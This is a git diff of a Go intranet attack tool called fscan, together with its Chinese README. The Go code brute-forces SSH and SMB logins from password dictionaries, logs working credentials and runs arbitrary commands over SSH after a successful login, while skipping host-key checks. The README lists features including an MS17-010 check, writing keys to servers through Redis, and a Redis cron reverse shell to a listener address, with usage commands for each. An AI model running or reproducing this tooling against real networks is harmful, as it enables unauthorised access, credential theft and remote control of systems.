||||
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
Mutex.Lock()
|
||||
common.Num += 1
|
||||
Mutex.Unlock()
|
||||
ScanFunc(PluginList, scantype, &info)
|
||||
wg.Done()
|
||||
Mutex.Lock()
|
||||
common.End += 1
|
||||
Mutex.Unlock()
|
||||
<-ch
|
||||
}()
|
||||
ch <- struct{}{}
|
||||
}
|
||||
|
||||
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||
func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
|
||||
f := reflect.ValueOf(m[name])
|
||||
if len(infos) != f.Type().NumIn() {
|
||||
err = errors.New("The number of infos is not adapted ")
|
||||
fmt.Println(err.Error())
|
||||
return result, nil
|
||||
err = errors.New("The number of infos is not adapted.")
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
}
|
||||
in := make([]reflect.Value, len(infos))
|
||||
for k, info := range infos {
|
||||
in[k] = reflect.ValueOf(info)
|
||||
}
|
||||
result = f.Call(in)
|
||||
return result, nil
|
||||
return result,nil
|
||||
}
|
||||
|
||||
func IsContain(items []string, item string) bool {
|
||||
for _, eachItem := range items {
|
||||
if eachItem == item {
|
||||
@@ -111,3 +32,50 @@ func IsContain(items []string, item string) bool {
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func Scan(info common.HostInfo) {
|
||||
fmt.Println("scan start")
|
||||
Hosts,_ := common.ParseIP(info.Host,info.HostFile)
|
||||
if info.Isping == false{
|
||||
Hosts = ICMPRun(Hosts,info.IcmpThreads)
|
||||
}
|
||||
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
|
||||
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
|
||||
for _,port:=range common.PORTList{
|
||||
severports = append(severports,strconv.Itoa(port))
|
||||
}
|
||||
severports1 := []string{"1521"} //no scan these service
|
||||
var ch = make(chan int,info.Threads)
|
||||
var wg = sync.WaitGroup{}
|
||||
var scantype string
|
||||
for _,targetIP :=range AlivePorts{
|
||||
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
|
||||
info.Host = scan_ip
|
||||
if info.Scantype == "all"{
|
||||
if IsContain(severports,scan_port){
|
||||
AddScan(scan_port,info,ch,&wg)
|
||||
}else {
|
||||
if !IsContain(severports1,scan_port){
|
||||
info.Ports = scan_port
|
||||
AddScan("1000003",info,ch,&wg) //webtitle
|
||||
}
|
||||
}
|
||||
if scan_port == "445"{ //scan more vul
|
||||
AddScan("1000001",info,ch,&wg)
|
||||
AddScan("1000002",info,ch,&wg)
|
||||
}
|
||||
}else {
|
||||
port,_:=common.PORTList_bak[info.Scantype]
|
||||
scantype = strconv.Itoa(port)
|
||||
AddScan(scantype,info,ch,&wg)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func AddScan(scantype string,info common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
if info.Scantype == "webtitle"{scantype = "1000003"}
|
||||
go scan_func(PluginList,scantype,&info,ch,wg)
|
||||
ch <- 1
|
||||
}
|
||||
+33
-41
@@ -1,77 +1,69 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"context"
|
||||
)
|
||||
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
|
||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["smb"] {
|
||||
for _, pass := range common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := doWithTimeOut(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
var result string
|
||||
if info.Domain != "" {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["smb"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||
flag,err := doWithTimeOut(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
|
||||
}
|
||||
|
||||
func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
|
||||
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host, Username, Password := info.Host, user, pass
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
|
||||
options := smb.Options{
|
||||
Host: Host,
|
||||
Port: 445,
|
||||
User: Username,
|
||||
Password: Password,
|
||||
Domain: Domain,
|
||||
Domain: "",
|
||||
Workstation: "",
|
||||
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
session.Close()
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
return flag,err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
signal := make(chan struct{})
|
||||
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
signal := make(chan int,1)
|
||||
go func() {
|
||||
flag, err = SmblConn(info, user, pass, info.Domain, signal)
|
||||
flag,err = SmblConn(info,user,pass)
|
||||
signal <- 1
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(time.Duration(info.Timeout) * time.Second):
|
||||
return false, err
|
||||
return flag,err
|
||||
case <-ctx.Done():
|
||||
return false,err
|
||||
}
|
||||
}
|
||||
}
|
||||
+21
-30
@@ -1,47 +1,38 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"../common"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
starttime := time.Now().Unix()
|
||||
for _, user := range common.Userdict["ssh"] {
|
||||
for _, pass := range common.Passwords {
|
||||
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||
Loop:
|
||||
for _,user:=range common.Userdict["ssh"]{
|
||||
for _,pass:=range common.Passwords{
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
flag, err := SshConn(info, user, pass)
|
||||
if flag == true && err == nil {
|
||||
return err
|
||||
} else {
|
||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||
common.LogError(errlog)
|
||||
tmperr = err
|
||||
if common.CheckErrs(err) {
|
||||
return err
|
||||
}
|
||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
|
||||
return err
|
||||
}
|
||||
flag,err := SshConn(info,user,pass)
|
||||
if flag==true && err==nil {
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
wg.Done()
|
||||
<- ch
|
||||
}
|
||||
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
func SshConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.Password(Password),
|
||||
},
|
||||
Timeout: time.Duration(info.Timeout) * time.Second,
|
||||
Timeout: time.Duration(info.Timeout)*time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
},
|
||||
@@ -51,19 +42,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
||||
if err == nil {
|
||||
defer client.Close()
|
||||
session, err := client.NewSession()
|
||||
if err == nil {
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
if info.Command != "" {
|
||||
combo, _ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
if info.Command != ""{
|
||||
combo,_ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
}else {
|
||||
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
return flag,err
|
||||
|
||||
}
|
||||
|
||||
+61
-237
@@ -1,259 +1,83 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"../common"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/net/html/charset"
|
||||
"golang.org/x/text/encoding/simplifiedchinese"
|
||||
"golang.org/x/text/transform"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Charsets = []string{"utf-8", "gbk", "gb2312"}
|
||||
)
|
||||
|
||||
func WebTitle(info *common.HostInfo) error {
|
||||
err := GOWebTitle(info)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
return err
|
||||
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||
info.Url = fmt.Sprintf("http://%s:%s",info.Host,info.Ports)
|
||||
err,result = geturl(info)
|
||||
wg.Done()
|
||||
<-ch
|
||||
return err, result
|
||||
}
|
||||
|
||||
//flag 1 first try
|
||||
//flag 2 /favicon.ico
|
||||
//flag 3 302
|
||||
//flag 4 400 -> https
|
||||
|
||||
func GOWebTitle(info *common.HostInfo) error {
|
||||
var CheckData []WebScan.CheckDatas
|
||||
if info.Url == "" {
|
||||
if info.Ports == "80" {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
||||
} else if info.Ports == "443" {
|
||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
||||
} else {
|
||||
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
|
||||
}
|
||||
} else {
|
||||
if !strings.Contains(info.Url, "://") {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return err
|
||||
}
|
||||
if strings.Contains(result, "://") {
|
||||
//有跳转
|
||||
redirecturl, err := url.Parse(result)
|
||||
if err == nil {
|
||||
info.Url = redirecturl.String()
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result == "https" {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
err, result, CheckData = geturl(info, 1, CheckData)
|
||||
if strings.Contains(result, "://") {
|
||||
//有跳转
|
||||
redirecturl, err := url.Parse(result)
|
||||
if err == nil {
|
||||
info.Url = redirecturl.String()
|
||||
err, result, CheckData = geturl(info, 3, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err, _, CheckData = geturl(info, 2, CheckData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
WebScan.InfoCheck(info.Url, CheckData)
|
||||
|
||||
if common.IsWebCan == false {
|
||||
WebScan.WebScan(info)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
||||
Url := info.Url
|
||||
if flag == 2 {
|
||||
URL, err := url.Parse(Url)
|
||||
if err == nil {
|
||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
||||
} else {
|
||||
Url += "/favicon.ico"
|
||||
}
|
||||
}
|
||||
|
||||
res, err := http.NewRequest("GET", Url, nil)
|
||||
if err == nil {
|
||||
res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Set("Accept", "*/*")
|
||||
res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Pocinfo.Cookie != "" {
|
||||
res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
} else {
|
||||
res.Header.Set("Cookie", "rememberMe=1")
|
||||
}
|
||||
res.Header.Set("Connection", "close")
|
||||
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
client = lib.ClientNoRedirect
|
||||
} else {
|
||||
client = lib.Client
|
||||
}
|
||||
|
||||
resp, err := client.Do(res)
|
||||
if err == nil {
|
||||
func geturl(info *common.HostInfo) (err error, result string) {
|
||||
url := info.Url
|
||||
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
|
||||
res,err:=http.NewRequest("GET",url,nil)
|
||||
if err==nil{
|
||||
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
res.Header.Add("Accept","*/*")
|
||||
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||
res.Header.Add("Connection","close")
|
||||
resp,err:=client.Do(res)
|
||||
if err==nil{
|
||||
defer resp.Body.Close()
|
||||
var title string
|
||||
var text []byte
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
return err, "", CheckData
|
||||
body, _ := ioutil.ReadAll(resp.Body)
|
||||
re :=regexp.MustCompile("<title>(.*)</title>")
|
||||
find := re.FindAllStringSubmatch(string(body),-1)
|
||||
if len(find) > 0{
|
||||
title = find[0][1]
|
||||
}else {
|
||||
title = "None"
|
||||
}
|
||||
if flag != 2 {
|
||||
re := regexp.MustCompile("(?im)<title>(.*)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
if len(find) > 1 {
|
||||
text = find[1]
|
||||
GetEncoding := func() string { // 判断Content-Type
|
||||
r1, err := regexp.Compile(`(?im)charset=\s*?([\w-]+)`)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
headerCharset := r1.FindString(resp.Header.Get("Content-Type"))
|
||||
if headerCharset != "" {
|
||||
for _, v := range Charsets { // headers 编码优先,所以放在前面
|
||||
if strings.Contains(strings.ToLower(headerCharset), v) == true {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
r2, err := regexp.Compile(`(?im)<meta.*?charset=['"]?([\w-]+)["']?.*?>`)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
htmlCharset := r2.FindString(string(body))
|
||||
if htmlCharset != "" {
|
||||
for _, v := range Charsets {
|
||||
if strings.Contains(strings.ToLower(htmlCharset), v) == true {
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
encoding := GetEncoding()
|
||||
_, charsetName, _ := charset.DetermineEncoding(body, "")
|
||||
if encoding == "gbk" || encoding == "gb2312" || charsetName == "gbk" {
|
||||
titleGBK, err := Decodegbk(text)
|
||||
if err == nil {
|
||||
title = string(titleGBK)
|
||||
}
|
||||
} else {
|
||||
title = string(text)
|
||||
}
|
||||
} else {
|
||||
title = "None"
|
||||
}
|
||||
title = strings.Trim(title, "\r\n \t")
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
if len(title) > 100 {
|
||||
title = title[:100]
|
||||
}
|
||||
if title == "" {
|
||||
title = "None"
|
||||
}
|
||||
length := resp.Header.Get("Content-Length")
|
||||
if length == "" {
|
||||
length = fmt.Sprintf("%v", len(text))
|
||||
}
|
||||
result := fmt.Sprintf("[*] WebTitle:%-25v code:%-3v len:%-6v title:%v", Url, resp.StatusCode, length, title)
|
||||
if len(title) > 50{
|
||||
title = title[:50]
|
||||
}
|
||||
if resp.StatusCode == 400 && string(url[5]) != "https"{
|
||||
info.Url = strings.Replace(url, "http://", "https://", 1)
|
||||
return geturl(info)
|
||||
}else {
|
||||
result = fmt.Sprintf("WebTitle:%v %v %v",url,resp.StatusCode,title)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
||||
redirURL, err1 := resp.Location()
|
||||
if err1 == nil {
|
||||
return nil, redirURL.String(), CheckData
|
||||
}
|
||||
if resp.StatusCode == 400 && info.Url[:5] != "https" {
|
||||
return err, "https", CheckData
|
||||
}
|
||||
return err, "", CheckData
|
||||
return err, result
|
||||
}
|
||||
return err, "https", CheckData
|
||||
}
|
||||
return err, "", CheckData
|
||||
return err, ""
|
||||
}
|
||||
//var client = &http.Client{
|
||||
// Transport:&http.Transport{
|
||||
// DialContext:(&net.Dialer{
|
||||
// Timeout:time.Duration(info.Timeout)*time.Second,
|
||||
// }).DialContext,
|
||||
// },
|
||||
// CheckRedirect:func(req *http.Request, via []*http.Request) error{
|
||||
// return http.ErrUseLastResponse
|
||||
// },
|
||||
//}
|
||||
|
||||
func Decodegbk(s []byte) ([]byte, error) { // GBK解码
|
||||
I := bytes.NewReader(s)
|
||||
O := transform.NewReader(I, simplifiedchinese.GBK.NewDecoder())
|
||||
d, e := ioutil.ReadAll(O)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
//if info.Cookie!=""{
|
||||
// res.Header.Add("Cookie",info.Cookie)
|
||||
//}
|
||||
//if info.Header!=""{
|
||||
// var header = make(map[string]string)
|
||||
// err:=json.Unmarshal([]byte(info.Header),&header)
|
||||
// if err!=nil{
|
||||
// Misc.CheckErr(err)
|
||||
// }
|
||||
// for k,v:=range header{
|
||||
// res.Header.Add(k,v)
|
||||
// }
|
||||
//}
|
||||
@@ -1,95 +1,61 @@
|
||||
# fscan
|
||||
|
||||
# 简介
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。
|
||||
一款内网扫描工具,方便一键大保健。
|
||||
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
|
||||
趁着最近有空,用go把f-scrack重构了一遍。使用go来编写,也有更好的扩展性及兼容性。
|
||||
还在逐步增加功能,欢迎各位师傅提意见。
|
||||
|
||||
## 主要功能
|
||||
1.信息搜集:
|
||||
* 存活探测(icmp)
|
||||
* 端口扫描
|
||||
|
||||
2.爆破功能:
|
||||
* 各类服务爆破(ssh、smb等)
|
||||
* 数据库密码爆破(mysql、mssql、redis、psql等)
|
||||
## why
|
||||
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
|
||||
|
||||
3.系统信息、漏洞扫描:
|
||||
* netbios探测、域控识别
|
||||
* 获取目标网卡信息
|
||||
* 高危漏洞扫描(ms17010等)
|
||||
答:
|
||||
因为用习惯了f-scrack,习惯一条命令跑完所有模块,省去一个个模块单独调用的时间,当然我附加了-m 指定模块的功能。
|
||||
|
||||
4.Web探测功能:
|
||||
* webtitle探测
|
||||
* web指纹识别(常见cms、oa框架等)
|
||||
* web漏洞扫描(weblogic、st2等,支持xray的poc)
|
||||
|
||||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
## 最近更新
|
||||
[+] 2020/11/16 对icmp模块进行优化,增加-it 参数(IcmpThreads),默认3000,适合扫B段
|
||||
[+] 2020/11/15 支持ip以文件导入,-hs ip.txt,并对去重做了处理
|
||||
|
||||
## usege
|
||||
简单用法
|
||||
```
|
||||
go run main.go -h 192.168.1.1/24
|
||||
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
|
||||
fscan.exe -h 192.168.1.1/16 (B段扫描)
|
||||
```
|
||||
|
||||
其他用法
|
||||
```
|
||||
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
|
||||
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
|
||||
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
|
||||
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
|
||||
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
|
||||
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
|
||||
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
go build -ldflags="-s -w " -trimpath
|
||||
-h 192.168.1.1/24 (C段)
|
||||
-h 192.168.1.1/16 (B段)
|
||||
-h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
|
||||
-hf ip.txt (以文件导入)
|
||||
```
|
||||
|
||||
|
||||
完整参数
|
||||
```
|
||||
-Num int
|
||||
poc rate (default 20)
|
||||
-c string
|
||||
exec command (ssh)
|
||||
-cookie string
|
||||
set poc cookie
|
||||
-debug
|
||||
debug mode will print more error info
|
||||
-domain string
|
||||
smb domain
|
||||
-h string
|
||||
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
|
||||
-hf string
|
||||
host file, -hs ip.txt
|
||||
-it int
|
||||
Icmp Threads nums (default 3000)
|
||||
-m string
|
||||
Select scan type ,as: -m ssh (default "all")
|
||||
-no
|
||||
not to save output log
|
||||
-nopoc
|
||||
not to scan web vul
|
||||
-np
|
||||
not to ping
|
||||
-o string
|
||||
Outputfile (default "result.txt")
|
||||
-p string
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,270179098,9448,8888,82,8858,1081,8879,21502,9097,8088,8090,8200,91,1080,889,8834,8011,9986,9043,9988,7080,10000,9089,8028,9999,8001,89,8086,8244,9000,2008,8080,7000,8030,8983,8096,8288,18080,8020,8848,808,8099,6868,18088,10004,8443,8042,7008,8161,7001,1082,8095,8087,8880,9096,7074,8044,8048,9087,10008,2020,8003,8069,20000,7688,1010,8092,8484,6648,9100,21501,8009,8360,9060,85,99,8000,9085,9998,8172,8899,9084,9010,9082,10010,7005,12018,87,7004,18004,8098,18098,8002,3505,8018,3000,9094,83,8108,1118,8016,20720,90,8046,9443,8091,7002,8868,8010,18082,8222,7088,8448,18090,3008,12443,9001,9093,7003,8101,14000,7687,8094,9002,8082,9081,8300,9086,8081,8089,8006,443,7007,7777,1888,9090,9095,81,1000,18002,8800,84,9088,7071,7070,8038,9091,8258,9008,9083,16080,88,8085,801,5555,7680,800,8180,9800,10002,18000,18008,98,28018,86,9092,8881,8100,8012,8084,8989,6080,7078,18001,8093,8053,8070,8280,880,92,9099,8181,9981,8060,8004,8083,10001,8097,21000,80,7200,888,7890,3128,8838,8008,8118,9080,2100,7180,9200")
|
||||
-ping
|
||||
using ping replace icmp
|
||||
-pocname string
|
||||
use the pocs these contain pocname, -pocname weblogic
|
||||
-proxy string
|
||||
set poc proxy, -proxy http://127.0.0.1:8080
|
||||
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
|
||||
-pwd string
|
||||
password
|
||||
-pwdf string
|
||||
@@ -99,19 +65,14 @@ go build -ldflags="-s -w " -trimpath
|
||||
-rs string
|
||||
redis shell to write cron file (as: -rs 192.168.1.1:6666)
|
||||
-t int
|
||||
Thread nums (default 600)
|
||||
Thread nums (default 200)
|
||||
-time int
|
||||
Set timeout (default 3)
|
||||
-u string
|
||||
url
|
||||
-uf string
|
||||
urlfile
|
||||
-user string
|
||||
username
|
||||
-userf string
|
||||
username file
|
||||
-wt int
|
||||
Set web timeout (default 5)
|
||||
|
||||
```
|
||||
|
||||
## 运行截图
|
||||
@@ -121,48 +82,22 @@ go build -ldflags="-s -w " -trimpath
|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||

|
||||
## 未来计划
|
||||
[*] 合理输出当前扫描进度
|
||||
[*] 增加内网常见高危漏洞
|
||||
[*] 增加高危web漏洞扫描
|
||||
[*] 师傅们觉得有必要加的漏洞,也可以提issue
|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||

|
||||
|
||||
## 参考链接
|
||||
https://github.com/Adminisme/ServerScan
|
||||
https://github.com/netxfly/x-crack
|
||||
https://github.com/hack2fun/Gscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/jjf012/gopoc
|
||||
|
||||
# 404StarLink 2.0 - Galaxy
|
||||

|
||||
|
||||
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。
|
||||
|
||||
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
|
||||
|
||||
|
||||
## 最近更新
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码
|
||||
[+] 2021/4/21 加入netbios探测、域控识别
|
||||
